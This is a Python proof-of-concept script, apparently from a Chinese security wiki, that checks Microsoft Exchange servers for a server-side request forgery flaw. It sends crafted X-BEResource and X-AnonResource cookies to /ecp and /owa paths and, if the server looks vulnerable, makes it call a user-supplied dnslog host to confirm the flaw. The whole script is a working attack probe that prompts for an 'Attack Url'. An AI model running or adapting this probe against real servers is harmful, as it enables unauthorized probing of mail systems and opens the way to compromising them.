POC S5RF-CVE-2021-26885

import requests
import sys
import random
import re
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号 : PeiQi文库                                                \033[0m')
    print('+  \033[34mVersion: Microsoft Exchange多个版本                                \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> mail.xxx.xxx.xxx                                 \033[0m')
    print('+  \033[36mDnslog      >>> xxxx.dnslog.cn                                     \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = "https://" + target_url + "/ecp/PeiQi.js"
    headers = {
        'Cookie': 'X-BEResource=peiqi_wiki/api/endpoint#~1; X-AnonResource=true'
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        if response.status_code == 500 and 'NegotiateSecurityContext' in response.text and 'peiqi_wiki' in response.text:
            print("\033[32m[o] 目标 {} 存在SSRF漏洞， 输入Dnslog地址进一步检测....\033[0m".format(target_url))
            dnslog = str(input("\033[35mDnslog >>> \033[0m"))
            POC_2(target_url, dnslog)
        else:
            print("\033[31m[x] 目标 {} 不存在SSRF漏洞 \033[0m".format(target_url))
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

def POC_2(target_url, dnslog):
    vuln_url = "https://" + target_url + "/owa/auth/PeiQi.js"
    headers = {
        'Cookie': 'X-AnonResource=true; X-AnonResource-Backend={}/ecp/default.flt?~3; X-BEResource={}/owa/auth/logon.aspx?~3;'.format(dnslog, dnslog)
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        print("\033[32m[o] 请查看 Dnslog：{} 响应....\033[0m".format(dnslog))
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)


if __name__ == '__main__':
    title()
    target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
    POC_1(target_url)